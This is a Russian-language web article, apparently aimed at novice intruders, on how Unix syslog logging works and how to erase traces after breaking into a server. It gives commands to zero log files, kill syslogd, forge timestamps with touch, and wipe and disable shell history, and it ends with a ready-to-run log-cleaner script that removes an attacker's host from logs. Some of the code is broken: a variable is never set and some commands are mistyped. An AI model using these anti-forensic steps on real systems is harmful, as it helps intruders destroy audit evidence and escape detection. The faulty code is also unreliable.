Best-club - портал хорошего настроения!
→◊ Библиотека ◊←
Меню сайта
  • Драмы
  • Ужасы
  • Фэнтези
  • Боевики
  • Мистика
  • Комедии
  • Триллеры
  • Мелодрамы
  • Фантастика
  • Мультфильмы
  • Приключения
  • Связь с админом
  • Список пользователей
  • Полная статистика сайта
  • ТОП наград
  • Переводчик
  • Конвертер величин
  • Проверка правописания
  • Раздача ICQ
  • Оставить отзыв о сайте
  • Раскрутка сайтов

  • Поиск по сайту
    Введите ключевое слово
    для поиска



    Статистика сайта




    ProfiSmart TOP webgari.com Рейтинг сайтов

    Каталог сайтов

    bodr_top
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарегистрировано:
    Всего: 1117
    Парней: 1070
    Девушек: 47
    Последний: molodoo

    Облако тегов
    Важная информация
    Главная » Статьи » Wap/Web Мастеру » Операционные системы

    UNIX for Skript Kiddies. Логи.
    Этой статьей мы хотели бы начать небольшую серию заметок для тех, кто научился популярным методам взлома юникс-лайк систем, но знания ограничиваются использованием эксплоитов и копированием файла для замены первой страницы сайта. 
    Да, мы понимаем, дефейсы - это круто =) Особенно масс-дефейсы: сколько людей увидят твое имя с подписью наподобие: "31337 haxors team was here". Но нужно двигаться дальше. Мы предлагаем на полезных примерах начать изучать юникс. Нет, мы понимаем, что у тебя есть подборка статей и главная из них "Основные команды юникс" от lbyte, а может быть даже есть книга "Библия юникс". Но будешь ли ты читать раздел, скажем, о файле syslog.conf, если ты не собираешься стать сисадмином? Нет? А если мы скажем, что от его изучения напрямую зависит, поймают тебя или нет? =) Ладно, оставим шутки в стиле журнала "Хакер" и начнем говорить о логах. Почему мы решили начать именно с этого? Да потому, что чистка логов - архиважное, можно даже сказать первое дело после взлома системы, а иногда и до него. Итак, начнем с теории. Нам следует для начала разобраться с тем как пишутся логи, а потом будут понятно как их тереть. Кстати, статьи будут полезны и неопытным сисадминам, которые должны узнать как действуют хакеры, чтоб с ними бороться.

    В UNIX системах используются довольно простые, но очень удачные методы регистрации событий. Программы могут вести свои собственные логи или использовать для этого демон syslogd. С помощью этого демона любые другие демоны или службы могут заносить в общие логи (файлы журналов) свою информацию. Таким образом для всех программ можно установить единый метод регистрации событий, за что и отвечает syslogd. Итак сислог-демон распределяет события по категориям и важности (приоритетам), а также в зависимости от конфигурации решает куда отправить запись о данном событии. Все настройки, отвечающие за это, хранятся в файле /etc/syslog.conf. Посмотрим на пример конфигурационного файла syslog'a, который мы взяли из Red Hat linux 9.0 установленного с дефолтными параметрами:

    # Log all kernel messages to the console.
    # Logging much else clutters up the screen.
    #kern.* /dev/console

    # Log anything (except mail) of level info or higher.
    # Don't log private authentication messages!
    *.info;mail.none;authpriv.none;cron.none /var/log/messages

    # The authpriv file has restricted access.
    authpriv.* /var/log/secure

    # Log all the mail messages in one place.
    mail.* /var/log/maillog


    # Log cron stuff
    cron.* /var/log/cron

    # Everybody gets emergency messages
    *.emerg *

    # Save news errors of level crit and higher in a special file.
    uucp,news.crit /var/log/spooler

    # Save boot messages also to boot.log
    local7.* /var/log/boot.log

    Итак, что мы видим? Очень простая структура: слева пишется категория и привилегия события, а справа - файл куда это событие заносится:
    катeгория.приоритет адрес_лог_файла
    Звездочка, как можно легко догадаться, означает все категории или все приоритеты. Теперь немного поподробнее о категориях:
    auth - сообщения о нарушении авторизации доступа;
    authpriv - сообщения о привилегированном доступе;
    cron - сообщения демона крон;
    daemon - сообщения других демонов;
    kern - сообщения ядра;
    lpr - сообщения системы печати;
    mail - сообщения почтовых программ;
    news - сообщения новостных программ;
    syslog - сообщения самого демона сислог;
    security - тоже самое что и auth (не должно использоваться в новых системах);
    user - сообщения программ юзеров;
    uucp - сообщения UUCP;
    local0-local7 - определяется для конкретной системы.

    Почти понятно? Тогда рассмотрим уровни приоритетов:
    emerg - системе амбец;
    alert - нужно срочное вмешательство;
    crit - состояние критично и представляет угрозу работе системы;
    err - сообщение об ошибках;
    warnity - предупреждение;
    notice - состояние допустимое, но админ должен это увидеть;
    info - просто информация;
    debug - отладочные сообщения;
    none - нет приоритета.
    Таким образом, настройки файла /etc/syslog.conf определят заносить ли какое-либо конкретное сообщение в файл журнала или нет. Посмотрим на приведенный выше конфиг машины с Ред Хетом:
    1) все сообщения о привелигированных входах регистрируются в файле /var/log/secure: 
    authpriv.* /var/log/secure
    2) регистрируются все сообщения почтовых программ и демона "крон":
    mail.* /var/log/maillog
    cron.* /var/log/cron
    загрузочные сообщения пишутся в /var/log/boot.log:
    local7.* /var/log/boot.log

    с остальным разберетесь сами - кажется все просто ;)
    Что ж, настройки минимальны. В случае получения привелигированного доступа к такой машине нас в первую очередь будут беспокоить два файла:
    /var/log/messages
    /var/log/secure

    А вот пример конфига рабочего сервера на FreeBSD:

    [guest@machine]$ cat /etc/syslog.conf

    # $FreeBSD: src/etc/syslog.conf,v 1.13.2.3 2002/04/15 00:44:13 dougb Exp $
    #
    # Spaces ARE valid field separators in this file. However,
    # other *nix-like systems still insist on using tabs as field
    # separators. If you are sharing this file between systems, you
    # may want to use only tabs as field separators here.
    # Consult the syslog.conf(5) manpage.
    *.err;kern.debug;auth.notice;mail.crit /dev/console
    *.notice;kern.debug;lpr.info;mail.crit;news.err /var/log/messages
    security.* /var/log/security
    auth.info;authpriv.info /var/log/auth.log
    mail.info /var/log/maillog
    lpr.info /var/log/lpd-errs
    cron.* /var/log/cron
    *.emerg *
    # uncomment this to log all writes to /dev/console to /var/log/console.log
    #console.info /var/log/console.log
    # uncomment this to enable logging of all log messages to /var/log/all.log
    # touch /var/log/all.log and chmod it to mode 600 before it will work
    #*.* /var/log/all.log
    # uncomment this to enable logging to a remote loghost named loghost
    #*.* @loghost
    # uncomment these if you're running inn
    # news.crit /var/log/news/news.crit
    # news.err /var/log/news/news.err
    # news.notice /var/log/news/news.notice
    !startslip
    *.* /var/log/slip.log
    !ppp
    *.* /var/log/ppp.log
    !ipa
    *.* /var/log/ipa.log

    Здесь как минимум нас должны заинтересовать эти строки:
    *.err;kern.debug;auth.notice;mail.crit /dev/console
    *.notice;kern.debug;lpr.info;mail.crit;news.err /var/log/messages
    security.* /var/log/security
    auth.info;authpriv.info /var/log/auth.log
    Так, кажется с этим тоже разообрались. Теперь посмотрим куда могут отправляться сообщения.
    /путь/имя_файла - сообщения записываются в лог-файл;
    /dev/console (что в нашем примере) - сообщение передается на терминал (т.е. их можно увидеть на мониторе, подключенном к данной машине);
    root,user1,user2 - имена пользователей, на терминал которых будет выводиться сообщение;
    * - сообщения выводятся на терминалы всех пользователй (см. пример с *.emerg);
    | - знак конвеера означает, что сообщение передается другой программе (например | "mail root" - сообщение передается руту по почте);
    @имя_хоста - сообщения отправляются на удаленный компьютер (демону syslogd). 
    Последнее и есть самая опасная для хакера вещь - логи удастся почистить только если взломать второй хост.
    Ну вот, кажется, теперь мы знаем, как и где хранятся файлы журналов (логи), формируемые демоном syslogd. Теперь, кажется, нужно рассмотреть немного поподробнее, что это за файлы. 
    Как можно было заметить, главный файл логов - /var/log/messages, в который записываются все основные сообщения системы. Давайте-ка поглядим на нашу директорию /var/log/ на машине с нашим дефолтным ред хетом:
    [root@localhost root]# ls -l /var/log
    total 1368
    -rw------- 1 root root 0 Jan 2 19:00 boot.log
    -rw------- 1 root root 64492 Jan 2 19:00 boot.log.1
    -rw------- 1 root root 700 Jan 2 19:09 cron
    -rw------- 1 root root 10776 Jan 2 19:00 cron.1
    drwxr-xr-x 2 lp sys 1024 Jan 2 19:00 cups
    -rw-r--r-- 1 root root 5301 Jan 2 17:54 dmesg
    drwxr-xr-x 2 root root 1024 Jan 2 17:54 gdm
    drwx------ 2 root root 1024 Jan 2 19:00 httpd
    -rw-r--r-- 1 root root 58295 Jan 2 17:54 ksyms.0
    -rw-r--r-- 1 root root 58295 Jan 1 21:34 ksyms.1
    -rw-r--r-- 1 root root 58295 Dec 29 00:09 ksyms.2
    -rw-r--r-- 1 root root 58295 Dec 14 16:31 ksyms.3
    -rw-r--r-- 1 root root 58295 Dec 13 19:22 ksyms.4
    -rw-r--r-- 1 root root 58295 Nov 30 20:58 ksyms.5
    -rw-r--r-- 1 root root 58295 Nov 29 23:35 ksyms.6
    -r-------- 1 root root 19136220 Jan 2 17:56 lastlog
    -rw------- 1 root root 417 Jan 2 19:03 maillog
    -rw------- 1 root root 8094 Jan 2 19:00 maillog.1
    -rw------- 1 root root 50 Jan 2 19:00 messages
    -rw------- 1 root root 360246 Jan 2 19:00 messages.1
    -rw-r--r-- 1 root root 17105 Jan 2 19:00 rpmpkgs
    -rw-r--r-- 1 root root 17105 Nov 30 00:42 rpmpkgs.1
    -rw-r--r-- 1 root root 15191 Aug 13 20:57 scrollkeeper.log
    -rw------- 1 root root 0 Jan 2 19:00 secure
    -rw------- 1 root root 2675 Nov 30 21:08 secure.1
    -rw------- 1 root root 0 Jan 2 19:00 spooler
    -rw------- 1 root root 0 Aug 13 20:31 spooler.1
    drwxr-xr-x 2 root root 1024 Feb 4 2003 vbox
    -rw-rw-r-- 1 root utmp 0 Jan 2 19:00 wtmp
    -rw-rw-r-- 1 root utmp 312576 Jan 2 18:57 wtmp.1
    -rw-r--r-- 1 root root 33523 Jan 2 17:55 XFree86.0.log
    -rw-r--r-- 1 root root 33523 Jan 1 21:51 XFree86.0.log.old
    -rw-r--r-- 1 root root 33523 Aug 13 21:18 XFree86.1.log

    Для нас важны файлы:
    wtmp, lastlog, secure и интересная папка httpd, в которой хранятся логи веб-сервера (в нашем случае apache):
    [root@localhost root]# ls /var/log/httpd
    access_log ssl_access_log ssl_request_log
    error_log ssl_error_log

    В данном случае логи веб-сервера, которые пишутся самим apache, оказались в той же директории, что и все основные логи системы. Унификация, понимаешь =) В случаях индивидуальных настроек с большим количеством виртуальных хостов логи их часто хранятся в папках пользователей, например:
    [root@localhost root]# ls /home/user_name/ 
    log/ httpd/ ftp/
    Стоит еще обратить внимание на то, что на других системах (особенно старых) файлы журналов могут храниться в совершенно других директориях. Итак, берем на заметку следующее:
    /var/log/
    /usr/adm/
    /var/adm/
    /etc/utmp - лог хранит записи всех посещений системы
    Хорошо, мы знаем, какие файлы нам нужно чистить. Теперь осталось узнать как.
    Варианты обнуления файлов:
    [root@localhost root]# cat /dev/null > /var/log/messages 
    Но могут возникнуть проблемы, если файл открыт каким-либо процессом. Тогда более приемлемо следующее:
    [root@localhost root]# tee /var/log/messages < /dev/null
    [root@localhost root]# cp /dev/null /var/log/messages

    Как это все упростить? Ведь нам нужно сразу и много файлов обнулить. Пишем небольшой сценарий (назовем его clean.sh) на bash (пример для нашего red hat'а):

    #!/bin/bash
    cd /var/log
    cp /dev/null messages
    cp /dev/null lastlog
    cp /dev/null wtmp
    cp /dev/null secure
    cp /dev/null httpd/access_log
    cp /dev/null httpd/error_log 
    echo "LOGZ CLEAR"

    и запускаем его:

    [root@localhost root]# bash clean.sh 

    Что б нулевой размер логов сразу не бросался админу в глаза можно было бы сделать копии файлов до начала наших активных действий на сервере, а затем скопировать их обратно после взлома. К тому же можно было убить процесс syslogd: killall -9 syslogd. А потом при помощи команды touch переделать время изменения файла. Как? смотрим touch --help:

    Использование: touch [OPTION]... FILE...
    Меняет время доступа и изменения файла (FILE) на текущее..

    А вот несколько аргументов, которые мы можем задать в качестве OPTION:.
    -a меняет только время доступа (access time)
    -c, --no-create не создает никаких файлов
    -d, --date=STRING берет значение STRING и использует его вместо текущего времени
    -m меняет только время изменения (modification time)
    -r, --reference=FILE использует время заданного файла вместо текущего
    -t STAMP использует время в формате [[CC]YY]MMDDhhmm[.ss] вместо текущего

    Хороший вариант для исправления временных меток - снять их с имеющегося файла (например /etc/passwd или лог файл загрузки системы /var/log/boot.log) при помощи опции -r:

    $ touch -r /etc/passwd /var/log/secure

    Идем дальше. В папке юзера (root?) сохраняется файл с историей всех bash команд: .bash_history. Его тоже не мешало бы потереть, и сделать предварительно запрет сохранения истории команд:

    uset HISTFILE; UNSET SAVEHIST

    Мы рассмотрели вопрос логов довольно примитивным образом - для начинающих. Если же кто-то захочет узнать немного побольше, рекомендуем статью Jlx'а в журнале Defaced #3. Ну а мы приступим к написанию более продвинутого логклинера, чем представленные выше пара строк кода =). Значит идея скрипта такова: есть два параметра, которые мы ему передаем: 
    1) имя хоста, которое надо удалить из логов
    2) необязательный параметр - имя файла, с которого брать шаблон временных меток 
    #!/bin/bash
    #Простой чистильщик логов
    #от GipsHackers Crew
    #написан для образовательных целей
    #расчитан на Red Hat 9.0 (настройки по умолчанию).
    #Можете заменить/добавить ссылки на лог файлы для своей системы.
    #Удачи!
    ######
    FIRST_DIR=/var/log # задаем директорию с логами
    S_UID=0 # укажем, что права для запуска должны быть root
    USER_DIR=`pwd` # задаем директорию пользователя, из которой запускается скрипт
    #проверяем права пользователя
    if [ "$UID" -ne "$S_UID" ]
    then
    echo "Sorry, you are not root";
    exit;
    fi
    #проверяем наличие 1-го аргумента командной строки
    if [ -z "$1" ]
    then
    echo "GIPS HACKERS CREW Log Cleaner for Red Hat 9.0"
    echo "============================================="
    echo "Usage:"
    echo "$0 <host> [<date_file>]"
    echo "<host> - host you want to delete from logs"
    echo "<date_file> - if you want to set old mtime for logs"
    echo " just type the name of the file with the date you want. "
    echo " Good ideas: /etc/passwd or /var/log/boot.log" 
    echo "Example:"
    echo "$0 hacker.ssu.com /var/log/boot.log" 
    exit
    fi
    cd $FIRST_DIR
    if [ "$PWD" != "$FIRST_DIR" ]
    then
    echo "Can't go to /var/log directory"
    exit
    fi
    #останавливаем демон syslogd
    echo "Let's stop logging!"
    killall -HUP syslogd || {
    echo "Can't stop SYSLOG daemon."
    }
    #трем логи. для обнуления используем команду " :>" - короткий аналог "cat /dev/null >"
    echo "Log cleaning starts"
    :> lastlog
    :> wtmp
    :> secure
    :> maillog
    #копируем файлы логов с без нашего имени хоста и пересохраняем копии вместо существующих 
    cat messages | grep -v "$HOST" > message.tmp
    mv message.tmp messages
    cat httpd/access_log | grep -v "$HOST" > access_log.tmp
    mv access_log.tmp httpd/access_log
    cat httpd/error_log | grep -v "$HOST" > error_log.tmp
    mv error_log.tmp httpd/error_log
    #заменяем временные метки, если задан 2-й аргумент
    if [ -n "$2" ]
    then 
    COMPARE=$2; 
    echo "Now changing modification time"
    {
    touch -r "$COMPARE" messages;
    touch -r "$COMPARE" lastlog;
    touch -r "$COMPARE" wtmp;
    touch -r "$COMPARE" secure;
    touch -r "$COMPARE" maillog;
    touch -r "$COMPARE" httpd/access_log;
    touch -r "$COMPARE" httpd/error_log
    }||
    {
    echo "Can't change modification time";
    }
    fi
    #систим историю команд и запрещаем их сохранение
    echo "Do we need bash history? unset it now!"
    {
    unset HISTFILE; unset SAVEHIST;
    cd $USER_DIR;
    :>.bash_history;
    touch -r "$COMPARE" .bash_history;
    cd /root;
    :>.bash_history;
    touch -r "$COMPARE" .bash_history;
    } || {
    echo "Can't clean Bash history"
    }
    echo "thats all. have nice day or night!" 

    Категория: Операционные системы | Добавил: Admin | Дата: 13.09.2009 | Просмотры: 996 | Рейтинг:
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Вход на сайт
    Гость, добро пожаловать на best-club! Тапки в углу, пиво в холодильнике. Располагайся:) Для получения большего комфорта войди как пользователь или зарегистрируйся.



    Обмен музыкой [?]
    Открыть в новом окне

    Партнёры





    Опрос

    Какой номер icq вы хотели бы больше всего?
    Всего ответов: 15

     
    Best-club team © 2008 - 2024

    SiteMap Партнёры и друзья Поддержать проект
    Третий Мир: Война Королей - Форум
    Администрация сайта не несёт ответственности за материалы опубликованные на сайте! Все материалы исключительно для ознакомления!
    Мини профиль